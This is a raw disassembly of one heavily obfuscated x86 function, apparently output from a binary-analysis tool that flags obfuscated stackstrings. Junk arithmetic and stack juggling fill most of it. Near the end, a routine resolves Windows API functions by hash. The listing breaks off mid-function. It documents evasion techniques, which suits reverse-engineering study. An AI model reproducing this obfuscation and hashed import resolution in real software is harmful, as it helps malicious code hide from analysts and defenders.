Function at 0x66adbf
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push dword [esp]
pop eax
push ebx
mov ebx, esp
push ebp
mov ebp, 0x7dffb0c6
shl ebp, 4
dec ebp
push 0x37ff09ca
mov dword [esp], ebp
not dword [esp]
mov ebp, dword [esp]
add esp, 4
push eax
mov dword [esp], ebp
xchg dword [esp], edx
not edx
xchg dword [esp], edx
pop ebp
shr ebp, 1
add ebp, 0x900279d5
add ebx, ebp
pop ebp
push esi
push 0x2e56a806
mov dword [esp], edi
mov edi, 4
mov esi, edi
pop edi
add ebx, 0x3e9773ec
sub ebx, 0x7a98b600
add ebx, esi
push esi
mov esi, 0x7f7f06ea
xor esi, 0x7fdfd629
sub esi, 0x6bdf78d4
push ebp
mov ebp, 0x1a28a1ef
sub esi, ebp
pop ebp
add ebx, esi
pop esi
sub ebx, 0x3e9773ec
pop esi
push ebx
push dword [esp + 4]
mov ebx, dword [esp]
add esp, 4
pop dword [esp]
pop esp
push 0x82dc2d4
mov dword [esp], esi
push eax
mov dword [esp], ebp
mov dword [esp], 0x4d9c7d8e
neg dword [esp]
or dword [esp], 0x3fefef1c
sub dword [esp], 0xa070dfc9
neg dword [esp]
add dword [esp], 0x7f7f1300
sub dword [esp], 0x65534047
dec dword [esp]
xor dword [esp], 0x81e07c1c
pop esi
push ecx
mov dword [esp], edx
push 0xd4e1825
mov dword [esp], ebx
push 0x3beb24c6
pop ebx
not ebx
sub ebx, 1
add ebx, 0xa622b71c
mov edx, ebx
pop ebx
sub esi, edx
pop edx
or esi, 0x58efad36
shr esi, 8
push ecx
push edi
push ebx
push 0x2eff306e
pop ebx
push edi
mov edi, 0x795335bf
and ebx, edi
mov edi, dword [esp]
add esp, 4
add ebx, 0x7ac7b72
mov edi, ebx
mov ebx, dword [esp]
add esp, 4
mov ecx, 0x50344126
xor ecx, edi
pop edi
add esi, 0x77f64b10
add esi, ecx
push eax
mov eax, 0x77f64b10
sub esi, eax
pop eax
pop ecx
xor esi, 0x8025e848
sub eax, esi
pop esi
jmp 0x6698ca
sub esp, 4
mov dword [esp], ebx
mov dword [esp], eax
sub esp, 4
mov dword [esp], ecx
push eax
push edi
mov edi, 0x6fff9b67
not edi
not edi
shr edi, 4
sub edi, 0x9e45ed51
mov eax, edi
pop edi
mov ecx, 0x13444f07
add ecx, eax
pop eax
push eax
mov eax, 0x25d25c51
add dword [esp + 8], eax
pop eax
sub dword [esp + 4], 0x5cd6cebb
add dword [esp + 4], 0x4eeffd5c
add dword [esp + 4], 0x3bc72800
sub dword [esp + 4], ecx
sub dword [esp + 4], 0x3bc72800
sub dword [esp + 4], 0x4eeffd5c
push edi
push ecx
push edi
mov edi, 0x5cd6cebb
mov ecx, edi
pop edi
mov edi, ecx
pop ecx
add dword [esp + 8], edi
pop edi
sub dword [esp + 4], 0x25d25c51
mov ecx, dword [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg dword [esp], eax
mov esp, dword [esp]
push dword [esp]
pop eax
add esp, 4
add eax, 0x7bfe5b6c
sub esp, 4
mov dword [esp], ebp
push 0x23b72000
mov dword [esp], esp
add dword [esp], 4
mov ebp, dword [esp]
add esp, 4
add ebp, 4
sub ebp, 4
xchg dword [esp], ebp
pop esp
mov dword [esp], ebx
push dword [esp]
pop ebx
sub esp, 4
mov dword [esp], ecx
push esp
push dword [esp]
pop ecx
push edx
mov edx, esp
add edx, 4
push ebp
mov ebp, 4
add edx, ebp
pop ebp
xchg dword [esp], edx
pop esp
push eax
mov dword [esp], 0x56b4c4cf
mov dword [esp], edx
mov edx, 4
add ecx, edx
pop edx
add ecx, 4
xchg dword [esp], ecx
mov esp, dword [esp]
push esi
mov dword [esp], 0x6915d6e5
mov dword [esp], eax
mov dword [esp], esi
mov dword [esp], ecx
push dword [esp]
push dword [esp]
pop ecx
push eax
mov eax, esp
push ebp
mov ebp, 0x7f742b72
xor ebp, 0x6dff9500
dec ebp
or ebp, 0x7dbc0ef4
and ebp, 0x3eff5dd5
push esi
mov esi, 0xc140e32f
add ebp, esi
pop esi
add eax, 0x379f3f21
add eax, ebp
sub eax, 0x379f3f21
mov ebp, dword [esp]
add esp, 4
push esi
mov esi, 4
sub eax, esi
pop esi
xchg dword [esp], eax
pop esp
mov dword [esp], eax
mov eax, esp
add eax, 4
push edx
mov edx, 4
add eax, edx
mov edx, dword [esp]
add esp, 4
xor eax, dword [esp]
xor dword [esp], eax
xor eax, dword [esp]
pop esp
add esp, 4
push ebx
mov dword [esp], eax
mov dword [esp], ebx
push esp
mov ebx, dword [esp]
add esp, 4
add ebx, 4
push edx
push ebp
mov ebp, 4
mov edx, ebp
pop ebp
sub ebx, edx
mov edx, dword [esp]
add esp, 4
xchg dword [esp], ebx
pop esp
mov dword [esp], edx
push ecx
mov dword [esp], ebx
mov ebx, 0x3bfac290
add dword [esp + 4], ebx
pop ebx
mov edx, dword [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
pop esp
push 0x46897a82
mov dword [esp], ebp
mov dword [esp], 0xfaa2f5
mov dword [esp], esi
mov esi, 0x3bfac290
sub edx, esi
push dword [esp]
pop esi
add esp, 4
jmp 0x669adb
jmp 0x66a07e
push 0x21441c9e
mov dword [esp], ebp
push ecx
mov dword [esp], 0x29ebfd44
mov dword [esp], eax
mov ebp, dword [esp]
add esp, 4
mov eax, ebp
push dword [esp]
pop ebp
sub esp, 4
mov dword [esp], edi
mov dword [esp], ebp
push esp
push dword [esp]
pop ebp
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg dword [esp], ebx
pop esp
add ebp, 4
push ecx
push edi
push edx
push 0x67370283
pop edx
add edx, 0x98c8fd81
mov edi, edx
pop edx
mov ecx, edi
pop edi
add ebp, ecx
pop ecx
xor ebp, dword [esp]
xor dword [esp], ebp
xor ebp, dword [esp]
mov esp, dword [esp]
push esi
mov dword [esp], eax
mov eax, ebx
push 0x16996cb2
mov dword [esp], eax
push edx
push eax
mov eax, 0x5fcf6189
mov edx, 0xcff29d26
add edx, eax
pop eax
xor dword [esp + 4], edx
pop edx
pop ebx
push 0x590f36d4
mov dword [esp], ecx
mov ecx, 0x2fc1feaf
xor ebx, ecx
push dword [esp]
pop ecx
push 0x27dbd2d3
mov dword [esp], ecx
mov ecx, esp
push 0x53b0ca62
mov dword [esp], edi
push 0x7ffe8f97
pop edi
neg edi
push ebp
mov ebp, 0x7697d894
and edi, ebp
pop ebp
push eax
mov eax, 0x15004
xor edi, eax
pop eax
add ecx, edi
pop edi
push ebp
mov ebp, 0x57ff9b38
add ebp, 0x7beb66ab
sub ebp, 0xd3eb01df
add ecx, ebp
pop ebp
xchg dword [esp], ecx
pop esp
push dword [esp]
pop eax
add esp, 4
jmp 0x66a175
call 0x66a17a
push dword [esp]
pop eax
push ebx
mov ebx, esp
push ecx
push ecx
mov dword [esp], edx
mov edx, 0x3ff3d283
mov ecx, 0x3ff3d287
xor ecx, edx
pop edx
sub ebx, 0x69e84805
add ebx, ecx
push eax
mov eax, 0x7b926ea5
shl eax, 8
shl eax, 1
inc eax
push ebx
mov ebx, 0x6e6b60c1
sub ebx, 0x77cf6224
push edx
mov edx, 0x9eacc88b
sub ebx, edx
pop edx
xor eax, ebx
pop ebx
xor eax, 0x1ada3416
push eax
push esi
push 0x17d08efa
pop esi
inc esi
add esi, 0x55aa160f
mov eax, esi
mov esi, dword [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
pop esp
sub ebx, 0x4dfbc543
add ebx, eax
add ebx, 0x4dfbc543
pop eax
add ebx, eax
sub ebx, 0x6d7aa50a
pop eax
push dword [esp]
pop ecx
add esp, 4
push eax
mov eax, 4
add ebx, eax
pop eax
xchg dword [esp], ebx
mov esp, dword [esp]
sub esp, 4
mov dword [esp], eax
mov dword [esp], edi
push eax
mov eax, 0x3dbde77a
add eax, 0x70aee3fa
sub eax, 0xffffffff
add eax, 0x497f7010
push 0x64c0c9b1
mov dword [esp], edx
mov edx, 0xf7ec3908
sub eax, edx
mov edx, dword [esp]
add esp, 4
mov edi, eax
pop eax
push edx
mov edx, 0x3ebd016c
add eax, edx
push dword [esp]
pop edx
add esp, 4
push edi
sub esp, 4
mov dword [esp], ebp
push 0x7ffcfa19
mov ebp, dword [esp]
add esp, 4
sub ebp, 0x5d9c4897
add ebp, 0x3d04cb1c
mov edi, ebp
pop ebp
sub esp, 4
mov dword [esp], esi
mov esi, 0x4cbd72bd
or edi, esi
pop esi
shr edi, 2
shl edi, 8
and edi, 0x55fd7a8d
xor edi, 0xae0525c
add eax, edi
pop edi
sub eax, edi
sub eax, 0x5fbd785c
push ebp
mov ebp, 0x7f8f3a53
shr ebp, 6
xor ebp, 0x3f433d85
sub eax, ebp
pop ebp
pop edi
jmp 0x66a2c8
sub esp, 4
mov dword [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
push edi
push dword [esp + 4]
pop edi
pop dword [esp]
mov esp, dword [esp]
mov dword [esp], eax
sub dword [esp], 0x1f5f6300
mov eax, dword [esp]
add esp, 4
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg dword [esp], esi
pop esp
mov dword [esp], ecx
push edx
mov edx, 0x67d58e5f
inc edx
xor edx, 0x77e67737
push esi
mov dword [esp], ebx
mov ebx, 0xf6c9a57
xor edx, ebx
push dword [esp]
pop ebx
push esi
push esp
pop esi
add esi, 4
add esi, 4
xchg dword [esp], esi
pop esp
push edx
pop ecx
mov edx, dword [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg dword [esp], ebx
pop esp
add eax, ecx
pop ecx
sub esp, 4
mov dword [esp], ebx
push dword [esp]
pop ebx
sub esp, 4
mov dword [esp], edi
push esp
pop edi
push ebp
push ecx
mov ecx, 0x7dcf493a
add ecx, 0x7ad78fb2
dec ecx
and ecx, 0x7795c273
sub ecx, 0xf0ad9765
mov ebp, ecx
mov ecx, dword [esp]
add esp, 4
sub ebp, 0xffffffff
not ebp
dec ebp
xor ebp, 0x4963305d
sub ebp, 0xc94be69e
add edi, ebp
mov ebp, dword [esp]
add esp, 4
push ebx
push edx
mov edx, 0x2476eb77
shr edx, 3
push ebx
mov ebx, 0x48edd6a
xor edx, ebx
pop ebx
mov ebx, edx
pop edx
add edi, 0x6dfe73b6
sub edi, 0x6617c9cd
add edi, ebx
add edi, 0x6617c9cd
sub edi, 0x6dfe73b6
mov ebx, dword [esp]
add esp, 4
xor edi, dword [esp]
xor dword [esp], edi
xor edi, dword [esp]
mov esp, dword [esp]
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg dword [esp], edi
pop esp
mov dword [esp], ecx
push dword [esp]
push dword [esp]
pop ecx
add esp, 4
push ebp
mov dword [esp], 0x7cc2a3ce
mov dword [esp], ebx
mov dword [esp], eax
mov eax, esp
push edi
mov dword [esp], eax
mov dword [esp], 0x782baf39
mov dword [esp], eax
mov dword [esp], esi
sub esp, 4
mov dword [esp], edx
push ebp
mov ebp, 4
mov edx, ebp
pop ebp
mov esi, edx
mov edx, dword [esp]
add esp, 4
add eax, esi
pop esi
add eax, 4
xchg dword [esp], eax
pop esp
sub esp, 4
mov dword [esp], edx
sub dword [esp], 0x7fff9fdb
push dword [esp]
pop edx
add esp, 4
push 0x3b26ab71
mov dword [esp], esi
mov esi, 0x7c1bb8d6
shr esi, 1
push ecx
mov ecx, 0x7e342a26
or ecx, 0x5fbfd651
sub esp, 4
mov dword [esp], edi
mov edi, 0x7aef2544
push ebx
mov ebx, 0xfd0f2c60
sub edi, ebx
pop ebx
xor ecx, edi
pop edi
xor ecx, 0x7ffd28c0
or ecx, 0x7b5792e0
and ecx, 0x63778488
sub ecx, 0xe55794c2
xor esi, ecx
pop ecx
sub esi, 1
dec esi
push ecx
mov ecx, 0x7fff5a71
sub esi, ecx
pop ecx
push ecx
sub esp, 4
mov dword [esp], edx
mov edx, 0x557b3e9f
sub edx, 0xa4c01c17
mov ecx, edx
pop edx
push ebp
mov ebp, 0x7fbaf340
add esi, ebp
pop ebp
add esi, ecx
sub esi, 0x7fbaf340
pop ecx
neg esi
or esi, 0x2dab0465
or esi, 0x5ffea7ba
sub esi, 0x582e1b9f
xor esi, 0xd82e13bb
push ebp
mov ebp, 0x7d7c5ff4
and ebp, 0x76ffce1e
sub ebp, 0xf5050ad4
add edx, ebp
pop ebp
add edx, esi
sub edx, 0x7f774340
pop esi
jmp 0x66a525
jmp 0x66a943
push 0x12a99ab0
mov dword [esp], eax
push dword [esp]
push dword [esp]
pop eax
push 0x21477a3b
mov dword [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push ecx
push dword [esp + 4]
pop ecx
pop dword [esp]
pop esp
push edi
push 0x40c9f713
mov dword [esp], esp
add dword [esp], 4
mov edi, dword [esp]
add esp, 4
sub esp, 4
mov dword [esp], ecx
mov ecx, 0x7be67631
shl ecx, 3
and ecx, 0x47ffe27a
add ecx, 0x573ca13f
neg ecx
neg ecx
add ecx, 0x618fbebd
add edi, ecx
push dword [esp]
pop ecx
add esp, 4
add edi, 4
xor edi, dword [esp]
xor dword [esp], edi
xor edi, dword [esp]
mov esp, dword [esp]
sub esp, 4
mov dword [esp], edx
mov edx, esp
add edx, 4
sub esp, 4
mov dword [esp], edi
mov dword [esp], esi
mov esi, 4
sub edx, esi
pop esi
xor edx, dword [esp]
xor dword [esp], edx
xor edx, dword [esp]
mov esp, dword [esp]
mov dword [esp], ebp
mov dword [esp], edi
mov edi, ebx
push edi
pop ebx
push dword [esp]
pop edi
push edi
push esp
pop edi
push ebp
push edx
push 0x6bf2a468
pop edx
push edi
mov edi, 0x4f595021
shr edi, 4
xor edi, 0x78ff64c7
add edi, 0xa8afd2
or edx, edi
pop edi
not edx
and edx, 0x7ff6945c
neg edx
xor edx, 0xfffbf004
mov ebp, edx
pop edx
add edi, ebp
pop ebp
add edi, 4
xchg dword [esp], edi
mov esp, dword [esp]
jmp 0x66aa50
call 0x66aa55
push dword [esp]
mov eax, dword [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
pop esp
push edx
push ebx
mov dword [esp], ebp
mov dword [esp], esp
add dword [esp], 4
pop edx
push 0x774924ec
mov dword [esp], eax
mov eax, 0x3efb5515
and eax, 0x6bdd88b7
not eax
sub esp, 4
mov dword [esp], ebp
mov ebp, 0x35d64296
inc ebp
and ebp, 0x7d65f40e
push ecx
push eax
push 0x5feb6ad3
pop eax
sub eax, 0x19f5311d
mov ecx, eax
pop eax
sub ecx, 0xc6a7340a
add ebp, 0x6b7b7b3e
add ebp, ecx
sub ebp, 0x6b7b7b3e
mov ecx, dword [esp]
add esp, 4
xor ebp, 0x61b5ba5c
xor eax, ebp
pop ebp
add edx, 0x671f5ec2
add edx, eax
sub edx, 0x671f5ec2
pop eax
push ecx
mov ecx, 4
add edx, ecx
pop ecx
push eax
mov dword [esp], edx
push dword [esp + 4]
pop edx
pop dword [esp]
pop esp
push edi
push ebp
mov ebp, 0x76df29ac
or ebp, 0x5dfb2d3a
shr ebp, 8
neg ebp
not ebp
push eax
mov dword [esp], ebp
not dword [esp]
pop ebp
sub ebp, 0xff7ffeb6
mov edi, ebp
pop ebp
push esi
mov esi, 0x7fdb5c3d
neg esi
push edi
mov edi, 0
sub edi, esi
mov esi, edi
pop edi
xor esi, 0x53af8586
add esi, 0x114a5880
add eax, esi
pop esi
push esi
mov esi, 0x7edf5d1c
push eax
mov eax, 0x6d7feedd
shr eax, 2
shl eax, 5
not eax
xor eax, 0x363b53fe
xor eax, 0x8fc4dae1
xor esi, eax
mov eax, dword [esp]
add esp, 4
xor esi, 0x1fa772c6
and esi, 0x73bf9eb8
sub esi, 0xe10b7e5f
add esi, 0x7ec7fa13
sub esi, 0x8201e575
sub eax, esi
pop esi
sub eax, edi
push esi
mov esi, 0x7f2e6aab
and esi, 0x5fb17b84
xor esi, 0x2d47bed0
xor esi, 0x7be5c2ea
xor esi, 0x6fda8e8e
inc esi
xor esi, 0x3a193ce2
add eax, esi
pop esi
push ebp
mov ebp, 0x3dbf323b
sub eax, ebp
pop ebp
push dword [esp]
mov edi, dword [esp]
add esp, 4
add esp, 4
jmp 0x66abd1
sub esp, 4
mov dword [esp], edi
push esp
pop edi
add edi, 4
push ecx
mov ecx, 4
push esi
mov esi, 0x7fb70868
add edi, esi
pop esi
sub edi, ecx
sub edi, 0x7fb70868
pop ecx
xchg dword [esp], edi
mov esp, dword [esp]
mov dword [esp], eax
push dword [esp]
push dword [esp]
pop eax
push ecx
push esp
pop ecx
push eax
mov eax, 4
add ecx, eax
pop eax
add ecx, 4
xchg dword [esp], ecx
mov esp, dword [esp]
push edi
mov dword [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
mov esp, dword [esp]
sub esp, 4
mov dword [esp], ebx
sub dword [esp], 0x7d7f1075
mov ebx, dword [esp]
add esp, 4
push 0x7e284726
mov dword [esp], edi
mov edi, 0x7d7f1075
sub esp, 4
mov dword [esp], edi
mov edi, 0x3ff7f964
sub esp, 4
mov dword [esp], eax
mov eax, 0x77e7c6c7
sub edi, eax
pop eax
sub edi, 0x79bffa04
push esi
mov esi, 0xe5120fc
sub edi, esi
mov esi, dword [esp]
add esp, 4
add ebx, 0x55fe49fb
sub ebx, edi
sub ebx, 0x55fe49fb
mov edi, dword [esp]
add esp, 4
add ebx, 0x73faa920
add ebx, 0x1f739d19
add ebx, edi
sub ebx, 0x1f739d19
sub ebx, 0x73faa920
push ecx
mov ecx, 0x3fff179d
add ebx, 0x67ed3f57
add ebx, ecx
sub ebx, 0x67ed3f57
mov ecx, dword [esp]
add esp, 4
mov edi, dword [esp]
add esp, 4
push 0x1bebb0b4
mov dword [esp], ebx
mov dword [esp], 0x6fb74aac
neg dword [esp]
and dword [esp], 0x7fdf2218
dec dword [esp]
not dword [esp]
xor dword [esp], 0x7b836483
push ebp
mov dword [esp], ecx
mov ecx, 0x2475c093
sub dword [esp + 4], ecx
pop ecx
shl dword [esp], 4
push edx
mov dword [esp], ebx
mov ebx, 0x65f91896
add dword [esp + 4], ebx
pop ebx
push edi
mov edi, 0x7e37ee76
or dword [esp + 4], edi
pop edi
sub dword [esp], 0x77d3fdd1
dec dword [esp]
push ebx
mov ebx, 0x4d7200e6
add dword [esp + 4], ebx
mov ebx, dword [esp]
add esp, 4
mov dword [esp], eax
push ecx
push eax
mov eax, 0x676c5d87
add dword [esp + 4], eax
pop eax
pop eax
sub eax, 0x676c5d87
sub esp, 4
mov dword [esp], eax
xor dword [esp], 0x5f687396
mov ecx, dword [esp]
add esp, 4
xor ecx, 0x5f687396
mov eax, dword [esp]
add esp, 4
push ecx
push 0x1fac0fb
mov dword [esp], ecx
mov dword [esp], esi
mov esi, edx
mov ecx, esi
push dword [esp]
pop esi
add esp, 4
push esi
push ecx
pop esi
mov edx, esi
mov esi, dword [esp]
push ecx
mov ecx, esp
push eax
mov eax, 4
add ecx, eax
pop eax
add ecx, 4
push ecx
push dword [esp + 4]
pop ecx
pop dword [esp]
pop esp
push dword [esp]
pop ecx
push ebp
mov ebp, esp
push ebx
push 0x132e3db1
pop ebx
inc ebx
or ebx, 0x74be24f1
add ebx, 1
sub ebx, 0x77be3df0
add ebp, ebx
mov ebx, dword [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg dword [esp], edx
pop esp
add ebp, 4
xchg dword [esp], ebp
pop esp
jmp 0x66ae00
jmp 0x66b33a
push eax
push ebp
push eax
mov eax, 0x7e1dd495
add eax, 0x3dfefa6c
inc eax
push edx
mov edx, 0xffffffff
sub eax, edx
pop edx
inc eax
shl eax, 6
add eax, 0x60b6a84
mov ebp, eax
mov eax, dword [esp]
sub esp, 4
mov dword [esp], edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
mov esp, dword [esp]
sub dword [esp + 4], ebp
pop ebp
push dword [esp]
pop eax
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg dword [esp], ecx
mov esp, dword [esp]
push edx
mov dword [esp], ebp
push edx
push esi
mov esi, 0x67fff383
shr esi, 2
inc esi
and esi, 0x38ffb480
xor esi, 0x7712ec9b
mov edx, esi
pop esi
add edx, 0x98294e4
mov ebp, edx
pop edx
inc ebp
sub ebp, 0x6c30c17c
add eax, 0x47ff7f56
add eax, ebp
sub eax, 0x47ff7f56
mov ebp, dword [esp]
add esp, 4
push ebx
push ecx
sub esp, 4
mov dword [esp], esi
mov dword [esp], 0x982ce00
mov dword [esp], edx
push 0x1af6aee4
mov edx, dword [esp]
add esp, 4
add edx, 0x7fe73aca
push eax
push ebp
push edi
push 0x7dffda82
pop edi
shr edi, 3
shr edi, 2
and edi, 0x53f3fc30
add edi, 0x14fba286
mov ebp, edi
pop edi
and ebp, 0xf57f221
inc ebp
push ebx
mov ebx, 0x76d63007
or ebp, ebx
pop ebx
and ebp, 0x3e3d5d37
add ebp, 0x11c69cb1
push ecx
mov ecx, ebp
mov eax, ecx
pop ecx
pop ebp
sub edx, eax
pop eax
add edx, 0xdcfc2d7c
mov ecx, edx
mov edx, dword [esp]
add esp, 4
add dword [esp + 4], 0x5febebd1
add dword [esp + 4], ecx
sub dword [esp + 4], 0x5febebd1
push dword [esp]
mov ecx, dword [esp]
add esp, 4
add esp, 4
mov ebx, dword [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg dword [esp], edi
mov esp, dword [esp]
sub ebx, 0x27fe6a72
jmp 0x66b48f
call 0x66b494
mov eax, dword [esp]
push eax
push esp
pop eax
push edx
mov edx, 4
add eax, edx
pop edx
push ebp
push eax
mov eax, 0x7d5f9620
sub eax, 0x575c8d81
dec eax
xor eax, 0x77fe6f85
sub eax, 0xf6220d12
mov ebp, eax
pop eax
push ecx
mov ecx, 0x5efdc7ee
add ebp, ecx
pop ecx
xor ebp, 0x7ffdefd6
shr ebp, 8
push ecx
push eax
push ebp
mov dword [esp], 0x775bcacd
pop eax
xor eax, 0x7af64416
or eax, 0x76ab953a
xor eax, 0x20f0ec35
mov ecx, eax
pop eax
sub ecx, 0x6471bb04
shr ecx, 1
push edi
mov edi, 0x75766abf
and ecx, edi
pop edi
shr ecx, 2
shl ecx, 2
push ebx
mov ebx, 0x51bbaa92
neg ebx
or ebx, 0x5eff6d2f
or ebx, 0x3bb4fa43
not ebx
push 0
sub dword [esp], ebx
pop ebx
sub ebx, 0x75b36c5e
xor ecx, ebx
pop ebx
add ebp, ecx
pop ecx
sub eax, 0xfcd687a
sub eax, 0x3bbff078
add eax, ebp
add eax, 0x3bbff078
add eax, 0xfcd687a
mov ebp, dword [esp]
add esp, 4
xchg dword [esp], eax
pop esp
push ebx
push esi
mov esi, 0x6ef3f16e
push edi
mov edi, esp
add edi, 4
push eax
sub esp, 4
mov dword [esp], edi
push 0x77eec019
pop edi
add edi, 0x88113feb
mov eax, edi
pop edi
sub edi, eax
pop eax
xor edi, dword [esp]
xor dword [esp], edi
xor edi, dword [esp]
pop esp
mov dword [esp], eax
push 0x7fdf2a3b
mov eax, dword [esp]
push edi
mov dword [esp], esi
mov esi, esp
add esi, 4
add esi, 4
xchg dword [esp], esi
pop esp
add eax, 0xffffffff
push ebx
mov ebx, 0x7ade1e76
sub ebx, 0x73bff078
xor ebx, 0x7adba215
sub ebx, 0x3bc5ea72
shr ebx, 7
xor ebx, 0x7d68e307
add eax, ebx
mov ebx, dword [esp]
add esp, 4
push ebx
mov ebx, 0x7af78b5a
not ebx
inc ebx
not ebx
and ebx, 0x7ff39695
sub ebx, 0xec1d2f21
sub eax, ebx
pop ebx
mov ebx, eax
mov eax, dword [esp]
add esp, 4
xor ebx, esi
mov esi, dword [esp]
add esp, 4
sub eax, ebx
push dword [esp]
pop ebx
add esp, 4
jmp 0x66b616
inc ebx
mov eax, eax
cmp dword [ebp + 0x2c2e3336], 0
jne 0x66b62b
cmp dword [ebp + 0x2c2e3356], 0
je 0x66b642
push eax
push ebx
mov eax, eax
mov eax, 0x47d
mov dword [ebp + 0x2c2e2e81], eax
call dword [ebp + 0x2c2e2bfc]
pop ebx
pop eax
mov eax, eax
cmp dword [ebp + 0x2c2e33ca], 0
jne 0x66b670
mov byte [ebp + 0x2c2e2c1d], 0x56
mov eax, 0xd41f6d39
push eax
push dword [ebp + 0x2c2e15e9]
call dword [ebp + 0x2c2e2e00]
mov dword [ebp + 0x2c2e33ca], eax
mov byte [ebp + 0x2c2e2c1d], 0x53
mov eax, 0xe5ed1a96
push eax
push dword [ebp + 0x2c2e15e9]
call dword [ebp + 0x2c2e2e00]
mov dword [ebp + 0x2c4df566], eax
mov byte [ebp + 0x2c2e2c1d], 0x47
mov eax, 0xa817731a
push eax
push dword [ebp + 0x2c2e15e9]
call dword [ebp + 0x2c2e2e00]
mov dword [ebp + 0x2c2e235c], eax
mov byte [ebp + 0x2c2e2c1d], 0x43
mov eax, 0xeaaa32e1
push eax
push dword [ebp + 0x2c2e15e9]
call dword [ebp + 0x2c2e2e00]
mov dword [ebp + 0x2c2e23de], eax
mov byte [ebp + 0x2c2e2c1d], 0x4d
mov eax, 0xc8377949
push eax
push dword [ebp + 0x2c2e15e9]
call dword [ebp + 0x2c2e2e00]
mov dword [ebp + 0x2c2e25af], eax
mov byte [ebp + 0x2c2e2c1d], 0x55
mov eax, 0x9c1b2d37
push eax
push dword [ebp + 0x2c2e15e9]
call dword [ebp + 0x2c2e2e00]
mov dword [ebp + 0x2c4804fe], eax
mov byte [ebp + 0x2c2e2c1d], 0x52
mov eax, 0xcee4e7b8
push eax
push dword [ebp + 0x2c2e2026]
call dword [ebp + 0x2c2e2e00]
mov dword [ebp + 0x2c2e2c2d], eax
mov byte [ebp + 0x2c2e2c1d], 0x52
mov eax, 0x98781034
push eax
push dword [ebp + 0x2c2e2026]
call dword [ebp + 0x2c2e2e00]
mov dword [ebp + 0x2c2e2e44], eax
mov byte [ebp + 0x2c2e2c1d], 0x52
mov eax, 0xc005dbd4
push eax
push dword [ebp + 0x2c2e2026]
call dword [ebp + 0x2c2e2e00]
mov dword [ebp + 0x2c2e213b], eax
mov byte [ebp + 0x2c2e2c1d], 0x52
mov eax, 0xae8daf44
push eax
push dword [ebp + 0x2c2e2026]
call dword [ebp + 0x2c2e2e00]
mov dword [ebp + 0x2c2e242f], eax
mov byte [ebp + 0x2c2e2c1d], 0x57
mov eax, 0xa69bee56
push eax
push dword [ebp + 0x2c2e15e9]
call dword [ebp + 0x2c2e2e00]
mov dword [ebp + 0x2c2e2ee2], eax
mov byte [ebp + 0x2c2e2c1d], 0x52
mov eax, 0xdea37d01
push eax
push dword [ebp + 0x2c2e2026]
call dword [ebp + 0x2c2e2e00]
mov dword [ebp + 0x2c462cc5], eax
mov byte [ebp + 0x2c2e2c1d], 0x52
mov eax, 0xb9bf1235
push eax
push dword [ebp + 0x2c2e2026]
call dword [ebp + 0x2c2e2e00]
mov dword [ebp + 0x2c2e2dac], eax
mov byte [ebp + 0x2c2e2c1d], 0x47
mov eax, 0xc246da44
push eax
push dword [ebp + 0x2c2e15e9]
call dword [ebp + 0x2c2e2e00]
mov dword [ebp + 0x2c2e2cdc], eax
mov byte [ebp + 0x2c2e2c1d], 0x47
mov eax, 0x8a0fb5e2
push eax
push dword [ebp + 0x2c2e15e9]
call dword [ebp + 0x2c2e2e00]
mov dword [ebp + 0x2c2e33b2], eax
lea eax, [ebp + 0x2c52916e]
push eax
lea eax, [ebp + 0x2c529138]
push eax
call dword [ebp + 0x2c2e2ce6]
cmp dword [ebp + 0x2c2e1481], 0
jne 0x66b861
mov byte [ebp + 0x2c2e2c1d], 0x48
mov eax, 0xcf07121a
push eax
push dword [ebp + 0x2c2e15e9]
call dword [ebp + 0x2c2e2e00]
jmp 0x66b874
lea eax, [ebp + 0x2c529140]
push eax
push dword [ebp + 0x2c2e1fff]
call dword [ebp + 0x2c2e33b2]
mov dword [ebp + 0x2c4e4c89], eax
cmp dword [ebp + 0x2c2e1481], 0
jne 0x66b8a5
mov byte [ebp + 0x2c2e2c1d], 0x48
mov eax, 0xd43ae2ad
push eax
push dword [ebp + 0x2c2e15e9]
call dword [ebp + 0x2c2e2e00]
jmp 0x66b8b8
lea eax, [ebp + 0x2c529162]
push eax
push dword [ebp + 0x2c2e1fff]
call dword [ebp + 0x2c2e33b2]
mov dword [ebp + 0x2c2e2ec6], eax
cmp dword [ebp + 0x2c2e1481], 0
jne 0x66b8e9
mov byte [ebp + 0x2c2e2c1d], 0x48
mov eax, 0x8ca36807
push eax
push dword [ebp + 0x2c2e15e9]
call dword [ebp + 0x2c2e2e00]
jmp 0x66b8fc
lea eax, [ebp + 0x2c529150]
push eax
push dword [ebp + 0x2c2e1fff]
call dword [ebp + 0x2c2e33b2]
mov dword [ebp + 0x2c470b8b], eax
lea eax, [ebp + 0x2c52916e]
push eax
lea eax, [ebp + 0x2c529138]
push eax
call dword [ebp + 0x2c2e2ce6]
mov eax, eax
cmp dword [ebp + 0x2c2e3336], 0
jne 0x66b92a
cmp dword [ebp + 0x2c2e3356], 0
je 0x66b941
push eax
push ebx
mov eax, eax
mov eax, 0x47d
mov dword [ebp + 0x2c2e2250], eax
call dword [ebp + 0x2c2e223c]
pop ebx
pop eax
mov eax, eax
mov eax, 1
mov dword [ebp + 0x2c5105f9], eax
lea eax, [ebp + 0x2c52d824]
mov dword [ebp + 0x2c517a91], eax
lea eax, [ebp + 0x2c52af67]
mov dword [ebp + 0x2c2e2e37], eax
lea eax, [ebp + 0x2c52a760]
mov dword [ebp + 0x2c2e2310], eax
lea eax, [ebp + 0x2c52e187]
mov dword [ebp + 0x2c2e202c], eax
push ebp
mov dword [esp], ecx
mov dword [esp], 0x7e8e5a9f
push ecx
mov ecx, 0x57eb0c89
